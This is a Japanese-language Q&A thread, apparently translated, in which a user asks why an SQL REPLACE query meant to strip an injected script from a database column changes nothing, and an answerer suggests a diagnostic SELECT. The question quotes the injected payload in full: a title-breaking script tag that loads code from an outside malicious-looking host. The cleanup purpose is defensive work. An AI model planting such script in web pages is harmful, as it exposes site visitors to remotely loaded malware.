0

データベースからSQLインジェクションスクリプトを削除するためのこのSQLクエリがあります。これを実行すると、正常に実行され、すべての行が影響を受けていることがわかりますが、変更はありません。テーブル名と列名を確認しました。varchar値を列が設定されている値に変更しましたが、まだ何もありません。

挿入されたスクリプトをデータベースから直接コピーしました

UPDATE table_name
SET column_name = REPLACE(CAST(column_name AS VARCHAR(max)), '"></title><script src="http://www1.mainglobilisi.com/sl.php"></script><!--', '')

スクリプトが正常に実行されるのにデータベースで更新が行われない理由を誰かに説明してもらえますか。

4

1 に答える 1

0

関数は、REPLACE検索している文字列を検出していない可能性があります。

選択を実行して、行が表示されるかどうかを確認してください。

select 
    column_name
from
    table_name
where 
    CAST(column_name AS VARCHAR(max)) like '%"></title><script src="http://www1[dot]mainglobilisi[dot]com/sl.php"></script><!--%'

(悪意のある場合に備えて、URLをわかりにくくしました)。

于 2012-06-11T12:19:02.623 に答える